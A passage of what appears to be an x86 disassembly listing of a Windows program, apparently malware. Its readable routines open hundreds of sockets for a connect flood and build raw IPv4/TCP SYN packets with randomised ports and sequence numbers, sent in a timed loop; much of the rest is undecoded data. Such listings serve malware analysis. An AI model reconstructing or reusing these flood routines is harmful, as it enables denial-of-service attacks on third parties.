sub_412B08+2EEj mov ebx, [ebp+arg_8] loc_412E29: ; CODE XREF: sub_412B08+78j ; sub_412B08+31Cj push [ebp+var_20] call dword_4CB00C pop esi loc_412E33: ; CODE XREF: sub_412B08+5Bj call dword_4CAECC mov eax, ebx loc_412E3B: ; CODE XREF: sub_412B08+3Bj pop edi pop ebx leave retn sub_412B08 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+24h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx push dword ptr [esp+2Ch] lea eax, [edx+esi+100h] push eax push esi call sub_412B08 add esp, 20h test eax, eax jnz short loc_412E8E push 1 pop eax loc_412E8E: ; CODE XREF: ___:00412E89j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_412E9D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6721o dd 3BCEC81h, 56530000h, 5708458Bh, 0F08B686Ah, 44BD8D59h dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h, 9C988902h dd 0FF000001h, 4CAFF415h, 0FFF88300h, 75FC4589h, 815FF5Fh dd 50004CAFh, 0FC44858Dh, 1C68FFFFh, 5000435Ch, 8995E8h dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h dd 59FFFF84h, 0C9E85759h, 90022DD0h, 6AF44D8Dh, 0FF335104h dd 5057026Ah, 0FFF45D89h, 4CAF5415h db 0, 83h word_412F4E dw 0FFF8h ; DATA XREF: ___:off_43A184o dd 15FF5D75h, 4CAF08h, 44858D50h, 68FFFFFCh, 435BECh, 891CE850h dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h, 846CE8C8h dd 5959FFFFh, 51E89057h, 8D022DD0h, 0FFFE4885h, 15FF50FFh dd 4CAFB4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435BCCh, 88B4E850h dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h, 50D875FFh dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h dd 575959FFh, 0CFEAE890h, 106A022Dh, 57E4458Dh, 856EE850h dd 0C4830000h, 45C7660Ch, 570002E4h, 0AF7415FFh, 8966004Ch dd 858DE645h, 0FFFFFE48h, 0B415FF50h, 8B004CAFh, 4270A835h dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch, 0DCE805C6h dd 0FF45004Ch, 4CAF7415h, 0D47D3900h, 0DCEAA366h, 8966004Ch dd 4CDCEC1Dh, 3D896600h, 4CDCEEh, 0DCF005C6h, 8880004Ch dd 4CDCF11Dh, 3D896600h, 4CDCF2h, 33E83074h, 8B000088h dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h dd 8E3C1D8h, 8815E8h, 6AD80300h, 0F41D8901h, 5B004CDCh dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFB415h dd 0DCF4A300h, 458B004Ch, 0DCF8A3E8h, 0E3E8004Ch, 99000087h dd 100B9h, 88F9F700h, 4CDCFC15h, 87D0E800h, 0B9990000h dd 100h, 1588F9F7h, 4CDCFDh, 87BDE8h, 0F0B99900h, 68000000h dd 400h, 8966F9F7h, 4CDCFE3Dh, 1D896600h, 4CDD02h, 15896642h dd 4CDD00h, 8795E8h, 0FFB99900h, 0F7000000h, 46852F9h dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h dd 68000004h, 4CDCE8h, 0FFFC75FFh, 4CAFD815h, 0FFF88300h dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 0C15FFFCh, 0FF004CB0h dd 4CAF0815h, 858D5000h, 0FFFFFE48h, 500875FFh, 435B8468h dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h, 0FFFFFC44h dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 1E89057h dd 0FF022DCEh, 15FFFC75h, 4CB00Ch, 3308458Bh, 3CC06BD2h dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B3868h dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh dd 97E8C875h, 59FFFF81h, 7DE85759h, 90022DCDh dword_413284 dd 0B8EC8B55h, 10320h, 888FE8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+550Fo dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 0FC15FF00h dd 89004CAEh, 858D0845h, 0FFFFFF40h, 0B415FF50h, 8B004CAFh dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 0F815FF50h dd 3B004CAFh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh dd 0FCBC858Dh, 7468FFFFh, 5000435Ch, 8589E8h, 0CC48300h dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh, 0FEC0858Dh dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh dd 2DCCBFE8h, 0C33B9002h, 408B0C74h, 8B008B0Ch, 0FC458900h dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h dd 4CAE8Ch, 0C0753B46h, 75FFDA7Ch, 2C15FF08h, 8D004CB0h dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C4868h, 0BBE85000h dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h dd 59FFFF80h, 0F1E85359h, 90022DCBh dword_413410 dd 0B8EC8B55h, 10310h, 8703E8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+575Bo dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0D761E800h dd 50900228h, 8493E8h, 116A5900h, 26A026Ah, 0AFF415FFh dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h, 0C4830000h dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFB4h dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CAFF815h dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 0C868FFFFh dd 5000435Ch, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 0CB12E890h, 408B022Dh dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh, 0DBE81175h dd 99000083h, 0FFDCB9h, 42F9F700h, 0FF03EB52h, 15FFDC75h dd 4CAF74h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh, 838DE8h dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh dd 0FEFCF085h, 0FF5350FFh, 4CAFD815h, 0D875FF00h, 27CE57E8h dd 754E9002h, 0DC7D39CEh, 2FE8BC75h, 99000083h, 0FFDCB9h dd 42F9F700h, 7415FF52h, 66004CAFh, 0EBF24589h, 50858DA1h dd 50FFFFFFh, 0FCCC858Dh, 9C68FFFFh, 5000435Ch, 82A5E8h dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h dd 575959FFh, 2DC9DBE8h db 2, 90h word_413626 dw 8B55h ; DATA XREF: sub_401ACD+4DECo dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h, 8D500CC4h dd 0FFFBEC85h, 5CF068FFh, 0E8500043h, 820Ah, 0C483F633h dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h, 5959FFFFh dd 0C93EE856h, 5F90022Dh ; --------------------------------------------------------------------------- pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4136C5 proc near ; CODE XREF: ___:004137AEp var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4CAF74 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_413783 push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_413710: ; CODE XREF: sub_4136C5+B9j lea esi, [ebp+var_654] mov ebx, edi loc_413718: ; CODE XREF: sub_4136C5+7Aj push 0 push 1 push 2 call near ptr 71AB3C22h nop cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_41373B lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call near ptr 71AB155Ah nop loc_41373B: ; CODE XREF: sub_4136C5+64j add esi, 4 dec ebx jnz short loc_413718 lea esi, [ebp+var_654] mov ebx, edi loc_413749: ; CODE XREF: sub_4136C5+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] nop call near ptr 71AB3E5Dh add esi, 4 dec ebx jnz short loc_413749 push 64h call near ptr 26903FCh nop lea esi, [ebp+var_654] mov ebx, edi loc_41376D: ; CODE XREF: sub_4136C5+B4j push dword ptr [esi] nop call near ptr 71AB1A6Dh add esi, 4 dec ebx jnz short loc_41376D dec [ebp+arg_4] jnz short loc_413710 pop edi pop esi pop ebx loc_413783: ; CODE XREF: sub_4136C5+3Ej xor eax, eax leave retn sub_4136C5 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov edi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov esi, eax push esi push ebx push edi call sub_4136C5 add esp, 18h test eax, eax jnz short loc_4137BD push 1 pop eax loc_4137BD: ; CODE XREF: ___:004137B8j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_4137CC dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h ; DATA XREF: sub_401ACD+6449o dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D1Ch, 8064E850h dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh dd 0FFFF7BB2h, 90565959h, 2DC797E8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41386B proc near ; CODE XREF: ___:00413B59p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CAEE4 test eax, eax jz short loc_4138AB xor eax, eax jmp loc_413B19 ; --------------------------------------------------------------------------- loc_4138AB: ; CODE XREF: sub_41386B+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB018 cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_413B11 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4CAF54 cmp eax, 0FFFFFFFFh jz loc_413B07 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4CAF74 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4CAF74 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4CAF74 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4CAF74 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx nop call near ptr 27B0000h lea eax, [ebp+var_8] push eax nop call near ptr 27A0B19h push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41D280 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_413996: ; CODE XREF: sub_41386B+25Dj ; sub_41386B+26Bj mov [ebp+var_24], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CAF74 mov [ebp+var_34], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CAF74 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CAF70 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CAF74 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4CAFD8 cmp eax, 0FFFFFFFFh jz short loc_413ADB add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax nop call near ptr 27A0B19h mov eax, [ebp+var_4] cmp eax, esi jg short loc_413B04 jl loc_413996 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_413B04 jmp loc_413996 ; --------------------------------------------------------------------------- loc_413ADB: ; CODE XREF: sub_41386B+247j call dword_4CAF08 push eax lea eax, [ebp+var_F4] push offset dword_435D44 push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_413B07 ; --------------------------------------------------------------------------- loc_413B04: ; CODE XREF: sub_41386B+25Bj ; sub_41386B+269j mov ebx, [ebp+arg_8] loc_413B07: ; CODE XREF: sub_41386B+78j ; sub_41386B+297j push [ebp+var_C] call dword_4CB00C pop esi loc_413B11: ; CODE XREF: sub_41386B+5Bj call dword_4CAECC mov eax, ebx loc_413B19: ; CODE XREF: sub_41386B+3Bj pop edi pop ebx leave retn sub_41386B endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_41386B add esp, 1Ch test eax, eax jnz short loc_413B68 push 1 pop eax loc_413B68: ; CODE XREF: ___:00413B63j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_413B77 db 55h ; DATA XREF: sub_401ACD+6E44o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 7BD1h, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh dd 5DE8h, 50595900h, 0FC6C858Dh, 6468FFFFh, 5000435Dh dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h dd 3E8F075h, 59FFFF78h, 0E8905659h, 22DC3E8h, 8B555E5Fh dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh dd 6583046Ah, 0BB5E00A8h, 0FFh, 0C033066Ah, 0AC7D8D5Ah dd 0FF7C8D89h, 45C7FFFFh, 280h, 84758900h, 0C7885589h dd 88C45h, 45C70000h, 0C90h, 9445C700h, 11h, 169845C7h dd 0C7000000h, 299C45h, 45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AF8815FFh, 75FF004Ch dd 0F815FFFCh, 8B004CAFh, 6A530C40h, 8B026A03h, 89008B00h dd 15FFF445h, 4CAFF4h, 56D84D8Dh, 6A026A51h, 45895000h dd 5415FFFCh, 0BE004CAFh, 200h, 77D3E856h, 3D8B0000h, 4270A8h dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AF7415FFh, 8966004Ch dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh, 0F9F7CB8Bh dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh dd 4DD45C6h, 0E8D45589h, 7B52h, 0E0458966h, 7B49E8h, 990A6A00h dd 66F9F759h, 0B095448Bh, 7415FF50h, 56004CAFh, 0E2458966h dd 0AF7415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h, 0E6A0000h dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0AFD815FFh dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h, 0FFFC75FFh dd 4CB00C15h, 58016A00h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- byte_413E35 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+53E8o dd 440EC81h, 458B0000h, 57565308h, 0F08B686Ah, 0C0BD8D59h dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah dd 19Ch, 88C03359h, 0FFFF609Dh, 66ABF3FFh, 3D8BAAABh, 4270A8h dd 0E850D7FFh, 7A58h, 0FF6859h, 36A0000h, 15FF026Ah, 4CAFF4h dd 89FFF883h, 6675FC45h, 0AF0815FFh, 8D50004Ch, 0FFFBC085h dd 5E7C68FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh, 858D14C4h dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h dd 535959FFh, 2DC103E8h, 4D8D9002h, 51046ACCh, 5053026Ah dd 0FFCC7589h, 4CAF5415h, 0FFF88300h, 15FF6675h, 4CAF08h dd 0C0858D50h, 68FFFFFBh, 435E44h, 7958E850h, 0C4830000h dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh dd 9FE8FFFFh, 59FFFF74h, 0E8905359h, 22DC084h, 0FDC4858Dh dd 0FF50FFFFh, 4CAFB415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h dd 435E2468h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h dd 0E8905359h, 22DC014h, 458D106Ah, 0E85053BCh, 7598h dd 660CC483h, 2BC45C7h, 15FF5300h, 4CAF74h, 0BE458966h dd 0FDC4858Dh, 0FF50FFFFh, 4CAFB415h, 0C0458900h, 0FF085D89h dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AF7415FFh dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h dd 80DC45C6h, 6DD45C6h, 0DE5D8966h, 73E82D74h, 8B000078h dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFB415FFh, 4589004Ch dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 7415FFFFh dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h dd 7415FF52h, 68004CAFh, 12345678h, 0E8458966h, 0AF7015FFh dd 4589004Ch, 44858DECh, 68FFFFFEh, 42AB7Ch, 77EEE850h dd 85590000h, 97459C0h, 0C6F05D89h, 0EB02F545h, 44858D5Ch dd 68FFFFFEh, 42A9B8h, 77CEE850h, 85590000h, 97459C0h dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9B0h dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h, 1ADAF7F9h dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h dd 4CAF74h, 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h, 7415FF06h dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh dd 8147E8h, 0E8458D00h, 8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h, 66FFFF6Ah dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh dd 0FFFC75FFh, 4CAFD815h, 0FFF88300h, 45FF0874h, 0FDBAE908h dd 75FFFFFFh, 0C15FFFCh, 0FF004CB0h, 4CAF0815h, 858D5000h dd 0FFFFFDC4h, 500875FFh, 435DD468h, 0C0858D00h, 68FFFFFBh dd 200h, 76E6E850h, 0C4830000h, 589D3918h, 75FFFFFFh, 858D5323h dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 0E8905359h dd 22DBD18h, 0FFFC75FFh, 4CB00C15h, 8458B00h, 0C06BD233h dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h dd 435D8468h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h dd 90535959h, 2DBC87E8h db 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp+0Ch], esi jle short loc_4143A5 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414397: ; CODE XREF: ___:0041439Fj movzx edi, 